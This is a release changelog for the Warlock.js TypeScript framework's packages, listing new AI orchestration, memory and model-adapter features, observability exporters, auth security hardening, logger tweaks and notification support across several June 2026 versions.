  • Added ai.orchestrator() — stateful session manager over a supervisor: durable session / history / context, drift detection, history compaction, resume, and a command surface (orchestrator.asTool(), a 3-tier event surface, and OrchestratorContract / config / error types).
  • Added ai.checkpoint.{memory,pg,redis}() and ai.snapshot.{memory,pg,redis}() — durable orchestrator-session and supervisor / workflow run stores, with matching defaultCheckpointStore / defaultSnapshotStore config fields.
  • Added ai.memory() — agent-memory store with four tiers: working (in-run scratch), semantic (durable facts), episodic (durable, recency-blended events), and procedural (durable, reinforcement-blended how-tos). Wired into the orchestrator via a memory? field.
  • Added ai.planner() — an LLM generates an ordered plan over your registered capabilities, then executes it step-by-step.
  • Added ai.spawnSubAgent() — one-shot delegation to a fresh single-use agent with an optional per-task budget; usable from a planner step, a tool, or a workflow.
  • Added Cost-truth contract surface across all five adapters — Usage.reasoningTokens, per-channel ModelPricing, and ModelCallOptions.{reasoning, cacheControl} (ignored by adapters that lack the capability).
  • Added DX helpers — ai.router(), ai.fanOut(), ai.batch(), ai.fallbackModel(), ai.mockRouter(), agent.eval() + built-in ai.eval.* scorers, Vitest matchers (registerAiMatchers()), supervisor-level middleware, and ai.systemPrompt.fromFile(path).
  • Added Executables passed in an agent's tools: [...] are auto-adapted into tools (workflows / supervisors / orchestrators compose directly via .asTool()).
@warlock.js/ai-panoptic Added 4 Fixed 3
  • Added panoptic() — the one-call subscriber factory: builds a collector, registers exporters, and feeds traces via attach(), middleware(), or collect().
  • Added Exporters — consoleExporter(), fileExporter() (JSON-Lines), otelExporter() (GenAI semantic conventions), and langfuseExporter(). @opentelemetry/* and langfuse are optional peers, lazily imported.
  • Added createInMemoryTraceStore() — a queryable in-memory trace store (query / aggregate by runId, sessionId, status, time window; optional capacity FIFO cap) that doubles as an exporter.
  • Added Vendor-neutral trace contracts (Trace / TraceSpan / CollectorContract / ExporterContract) derived 1:1 from the core BaseReport tree, plus skills for observing, exporting, and querying traces.
  • Fixed Failed root runs now carry their error in every export (threaded from the result envelope onto the root span).
  • Fixed Per-span exporters now receive every span (the collector walks the finalized tree).
  • Fixed panoptic().middleware() now works on a supervisor (the middleware declares a supervisor hook map).
@warlock.js/ai-anthropic Added 4
  • Added Usage accountingusage.cacheWriteTokens is populated from Anthropic's cache_creation_input_tokens (alongside cachedTokens); reasoningTokens is left unset because Anthropic bills thinking inside output_tokens.
  • Added Extended thinkingModelCallOptions.reasoning maps to Anthropic's thinking budget (reasoning.effort → a tiered budget, floored at 1024); temperature is dropped when thinking is enabled.
  • Added System-prompt prompt cachingcacheControl.breakpoints >= 1 emits the system prompt with cache_control: { type: "ephemeral" }.
  • Added Capabilitiesreasoning, promptCaching, and pdf are now advertised; audio stays absent.
@warlock.js/ai-bedrock Added 4
  • Added Cost-truth capabilitiesreasoning, promptCaching, pdf, and audio are reported truthfully per model family (inferred from the model id, overridable via bedrock.model(...)).
  • Added Reasoning / extended thinkingModelCallOptions.reasoning maps to Converse thinking for reasoning-capable models, and no-ops elsewhere so unsupported params never reach the wire.
  • Added Prompt-cache write breakpointscacheControl.breakpoints appends a Converse cachePoint block for caching-capable models.
  • Added Usage.cacheWriteTokens populated from Converse cacheWriteInputTokens; reasoningTokens is left unset (Bedrock reports no reasoning channel).
@warlock.js/ai-google Added 3
  • Added Usage.reasoningTokens is populated from Gemini's thoughtsTokenCount (alongside cachedTokens), surfaced only when reported > 0.
  • Added ModelCallOptions.reasoning maps to Gemini's thinkingConfig (maxTokensthinkingBudget, effort → a bucketed budget) for reasoning-capable models.
  • Added ModelCapabilities now reports reasoning, promptCaching, audio, and pdf; cacheControl is accepted as a graceful no-op.
@warlock.js/ai-openai Added 3
  • Added Usage.reasoningTokens is populated from completion_tokens_details.reasoning_tokens (o-series / gpt-5 hidden reasoning channel), emitted only when > 0.
  • Added ModelCallOptions.reasoning.effort maps to the native reasoning_effort param for reasoning-capable models; reasoning.maxTokens has no Chat Completions equivalent.
  • Added ModelCapabilities.reasoning is inferred from the model name (overridable via .model(...)); promptCaching is always true (OpenAI caches automatically), and cacheControl write breakpoints are a no-op.
@warlock.js/ai-ollama Added 2
  • Added ModelCapabilities.reasoning is inferred from thinking-capable model tags (overridable via ollama.model({ name, reasoning })); promptCaching / audio / pdf report false.
  • Added ModelCallOptions.reasoning maps onto Ollama's native think flag for reasoning-capable models; reasoning.maxTokens and cacheControl are graceful no-ops.
4.2.11
June 17, 2026

Soft deletes go end-to-end in @warlock.js/cascade. @warlock.js/core adds warlock add notifications, and @warlock.js/notifications gains model-driven column mapping, read-state, and multi-tenant support.

@warlock.js/cascade Added 1 Changed 1 Fixed 2
  • Added Migration.create auto-wires the deletedAt column when the model's delete strategy is "soft" (opt out with { softDeletes: false })
  • Changed Require @mongez/reinforcements ≥ 3.3.0 — the update validator now uses its new when helper for conditional schema fields
  • Fixed Soft destroy() now sets deletedAt on the in-memory model — the instance was left stale before
  • Fixed Update validation no longer strips or rejects the deletedAt column under strict mode (now whitelisted like the timestamps)
@warlock.js/core Added 3 Changed 3 Fixed 1
  • Added lowerStage3Decorators() — Vite/Vitest plugin that lowers TC39 Stage-3 decorators with esbuild before oxc / the SSR rewrite mangles them; drop it first in plugins so model-decorated files load under Vitest 4 / Vite 8.
  • Added warlock add notifications — installs @warlock.js/notifications (+ the mail feature), ejects config/notifications.ts, and scaffolds the app-owned Notification model + migration (idempotent).
  • Added Notifications connector — a built-in, config-gated connector that lazy-imports @warlock.js/notifications, so core keeps no hard dependency on it.
  • Changed warlock add test now scaffolds a vite.config.ts that includes lowerStage3Decorators(), so a fresh project can test decorated models out of the box.
  • Changed warlock add test test / test:coverage scripts now run one-shot (vitest run) instead of watch mode — CI-safe by default.
  • Changed Bumped @mongez/reinforcements to 3.3.0
  • Fixed startHttpTestServer now starts early-phase connectors (database, cache, logger, …) before app modules, then late-phase (http, socket) after — mirroring dev/prod boot order; fixes a MissingDataSourceError under the Vitest integration harness.
@warlock.js/notifications Changed 5
  • Changed In-app column mapping moved onto the model as static columnMap (recipient / tenant / readAt / isRead); accessors, repository, and channels all derive from it. New NotificationColumnMap type.
  • Changed Read-state is presence-based — declaring readAt, isRead, or both selects the representation (default read_at); the mode-agnostic unread filter replaces isRead.
  • Changed Multi-tenant support — when the model declares a tenant column, the database channel reads it off the recipient and createFor(...) writes it.
  • Changed inApp.list / inApp.listUnread now forward full list options (page / limit / orderBy + filters).
  • Changed notificationColumns(model) derives its columns from columnMap; the SQL-vs-MongoDB dataSource branch is removed.
@warlock.js/auth Changed 1
  • Changed Bumped @mongez/reinforcements to 3.3.0
@warlock.js/cache Changed 1
  • Changed Bumped @mongez/reinforcements to 3.3.0
@warlock.js/herald Changed 1
  • Changed Bumped @mongez/reinforcements to 3.3.0
@warlock.js/logger Changed 1
  • Changed Bumped @mongez/reinforcements to 3.3.0
@warlock.js/seal Changed 1
  • Changed Bumped @mongez/reinforcements to 3.3.0
create-warlock Changed 1
  • Changed Bumped @mongez/reinforcements to 3.3.0 (package dependency + project template)
4.2.10
June 17, 2026

Patch: @warlock.js/auth moves its internal @mongez/* utilities from peer to regular dependencies, clearing the install warnings. @warlock.js/logger softens its console timestamp to gray.

@warlock.js/auth Fixed 1
  • Fixed @mongez/copper, @mongez/events, and @mongez/reinforcements are now regular dependencies instead of peerDependencies — they're framework-internal utilities your app never imports, so declaring them as peers produced unmet peer dependency warnings on install.
@warlock.js/logger Changed 1
  • Changed ConsoleLog's timestamp (and the context arrow) switch from bright-black gray to the 256-color slate — recessive but cleanly legible where bright-black read muddy.
create-warlock Changed 1
  • Changed The project template now pins the latest @mongez/* versions (@mongez/reinforcements@^3.2.0, @mongez/agent-kit@^1.2.0) so freshly scaffolded apps start on current dependencies. (@warlock.js/* versions are still rewritten to the scaffolder's own version at install time.)
4.2.9
June 17, 2026

Patch: @warlock.js/logger's console output is retuned for scannability — a dimmed time-only timestamp, aligned level columns, and a restored white-on-red fatal badge.

@warlock.js/logger Changed 1
  • Changed ConsoleLog output retuned for scannability — a time-only HH:mm:ss.SSS timestamp dimmed to gray, fixed-width level tags so the columns align, and fatal restored to a white-on-bright-red background badge. (FileLog / JSONFileLog keep the full ISO timestamp.)
4.2.8
June 17, 2026

Patch: @warlock.js/logger now prints each level's name beside its icon (ℹ info, ⚠ warn, ✗ error, …) for at-a-glance reading.

@warlock.js/logger Changed 1
  • Changed ConsoleLog now prints each level's name beside its icon (⚙ debug, ℹ info, ⚠ warn, ✗ error, ✓ success, ☠ fatal) for at-a-glance reading.
4.2.7
June 17, 2026

Patch: create-warlock now ships its templates/ folder, fixing the "Something went wrong" error when scaffolding a new project.

create-warlock Fixed 1
  • Fixed The published package now ships its templates/ folder, so scaffolding a new project works from the installed package — it was missing from the build, which failed the wizard with "Something went wrong" at the template-copy step.
4.2.6
June 17, 2026

Patch: create-warlock ships its bin folder again, restoring the CLI that was dropped from 4.2.5.

create-warlock Fixed 1
  • Fixed The published package now ships its bin folder again, so the create-warlock CLI works from the installed package — it was omitted from the 4.2.5 build.
4.2.5
June 15, 2026

Patch: warlock add notifications now scaffolds the in-app notifications HTTP surface — routes plus a list / mark-read / clear controller, gated by auth.

@warlock.js/core Added 1
  • Added warlock add notifications now scaffolds the in-app read/dismiss HTTP surface — routes.ts + a notifications.controller.ts (list / unread-count / mark-read / mark-all-read / clear / delete), gated by authMiddleware and recipient-scoped via inApp. Pulls @warlock.js/auth.
4.2.4
June 15, 2026

Patch: corrects a worker-loader build path in @warlock.js/core that 4.2.3 left broken.

@warlock.js/core Fixed 1
  • Fixed Fix the worker-loader path in the build entry points — a wrong path in 4.2.3 left the worker entry broken (and blocked the 4.2.3 publish for some packages).
4.2.3
June 15, 2026

Patch: ships the worker scripts as @warlock.js/core build entry points. A wrong path here blocked publishing for some packages — fixed in 4.2.4.

@warlock.js/core Fixed 1
  • Fixed Add the worker scripts as build entry points so they ship in the published package.
4.2.2
June 15, 2026

Patch: ships the warlock CLI entry (cli/start) in @warlock.js/core's build.

@warlock.js/core Fixed 1
  • Fixed Add cli/start to the build entry points so the warlock CLI entry ships in the published package.
4.2.1
June 15, 2026

Patch: @warlock.js/core and @warlock.js/cascade ship their bin folders, restoring the warlock and cascade CLIs dropped from 4.2.0.

@warlock.js/core Fixed 1
  • Fixed Ship the bin folder so the warlock CLI works from the published package — it was omitted from the 4.2.0 build.
@warlock.js/cascade Fixed 1
  • Fixed Ship the bin folder so the cascade CLI works from the published package — it was omitted from the 4.2.0 build.
4.2.0
June 15, 2026

A security overhaul of @warlock.js/auth — brute-force throttling, atomic refresh-token rotation, and CSPRNG secrets (the jwt config gives way to accessToken / refreshToken). Introduces two packages: @warlock.js/notifications (multi-channel notifications) and @warlock.js/access (RBAC + ABAC authorization).

@warlock.js/notifications New 1
  • New Shipped Warlock.js Notifications Package.
@warlock.js/access New 1
  • New Shipped Warlock.js Access Package.
@warlock.js/auth Added 5 Fixed 6 Deprecated 1 Removed 2 Security 2
  • Added loginThrottleMiddleware — failure-aware brute-force / credential-stuffing protection: counts only failed logins, locks per-account and per-IP, and rejects pre-controller with 429 (cache-backed, fails open). Adds AuthErrorCodes.TooManyAttempts (EC004).
  • Added accessToken / refreshToken configuration blocks, making a separate refresh-token secret first-class.
  • Added Overridable token storage — register a custom model under config.auth.accessToken.model / refreshToken.model and .extend() the exported schemas to add columns (e.g. a multi-tenant organization_id).
  • Added tokenType (access | refresh) claim, stamped on issue and verified on read, so an access token can't be presented as a refresh token.
  • Added expires_at on access tokens; warlock auth.cleanup now purges expired access tokens too.
  • Fixed Default access-token lifetime was ~3.6 seconds (a numeric expiresIn read as milliseconds) and is now 1 hour.
  • Fixed Targeted revocation queried userId instead of the user_id column, so logout / refresh-token removal threw on Postgres and silently no-oped on MongoDB; token queries now route through named model statics.
  • Fixed Token deletions were fire-and-forget (false success for callers, uncatchable rejections) and are now awaited.
  • Fixed The route middleware matched on userType instead of the user_type column.
  • Fixed revokeAllTokens / revokeTokenFamily reported an empty set, so token.revoked / token.familyRevoked never fired; the revoked rows are now captured before revocation.
  • Fixed A throwing synchronous auth-event listener no longer turns a completed login into a 500.
  • Deprecated The auth.jwt.* configuration block. Use accessToken / refreshToken instead — the legacy shape is still read and mapped forward with a one-time deprecation warning.
  • Removed Unread access_tokens columns is_active and last_access.
  • Removed The unused auth.password.salt configuration key.
  • Security warlock jwt.generate now derives JWT_SECRET / JWT_REFRESH_SECRET from a CSPRNG (Random.token) instead of Math.random().
  • Security Refresh-token rotation is atomic — a guarded conditional UPDATE means two concurrent rotations can't both succeed, and a replayed token revokes its entire family.
@warlock.js/logger Added 4 Changed 3 Fixed 1
  • Added log.flush() — awaitable async counterpart to flushSync(), draining every channel via Promise.allSettled with per-channel isolation. Implemented by FileLog / JSONFileLog.
  • Added SentryLog channel — forwards entries to Sentry (eventLevels become events, others breadcrumbs; module / action as tags). @sentry/node is an optional, lazily-imported peer.
  • Added log.fatal() + fatal level — ranked strictly above error for unrecoverable failures; does not auto-flush or exit.
  • Added ConsoleLog renders fatal with a icon on a bright-red background, distinct from error's .
  • Changed captureAnyUnhandledRejection() now escalates uncaughtException to log.fatal (was error); unhandledRejection stays at error.
  • Changed LoggingData.type is now typed as LogLevel (was a duplicated inline union).
  • Changed LogContract / LogChannel now expose an optional flush?() alongside flushSync?().
  • Fixed @sentry/node is referenced only via local types + an indirect dynamic import, so source-served consumers no longer get TS2307: Cannot find module '@sentry/node' when they don't install the optional peer.
@warlock.js/cascade Changed 1 Fixed 1
  • Changed MongoDB and PostgreSQL drivers now log a failed initial connect() at log.fatal (was log.error) — a boot-time database connection failure is unrecoverable, so fatal keeps "page on fatal only" alerting clean. Per-query and disconnect failures stay at error.
  • Fixed PostgreSQL increment / decrement (and the *Many variants) bound the amount as $1, colliding with the first filter placeholder (SET n = n + $1 WHERE id = $1) so every filtered counter update wrote the wrong number; the amount now binds after the filter params.
@warlock.js/ai Fixed 1
  • Fixed No-argument tools (declared without an input schema) no longer crash on invocation — tool.invoke now skips validation when no schema is present and passes the raw input to the handler.
@warlock.js/ai-anthropic Added 1
  • Added Opt-in promptCaching flag on the model config — marks tool definitions with cache_control: { type: "ephemeral" } so multi-trip agents reuse the static tool schemas at the cache-read rate. Off by default.
@warlock.js/cache Changed 1
  • Changed Redis driver now logs a failed initial connect() at log.fatal (was log.error) — a boot-time cache connection failure is unrecoverable, so fatal keeps "page on fatal only" alerting clean.
@warlock.js/core Changed 1
  • Changed herald-connector and http-connector now log a failed boot-time connection at log.fatal (was log.error) — an unrecoverable broker connection or HTTP port-bind failure makes "page on fatal only" alerting clean; the HTTP connector flushes logs before process.exit(1). Disconnect / shutdown failures stay at error.
4.1.15
June 4, 2026

The first public release of Warlock.js — 17 packages published together at 4.1.15. Every change from here on is recorded per package and aggregated on this page.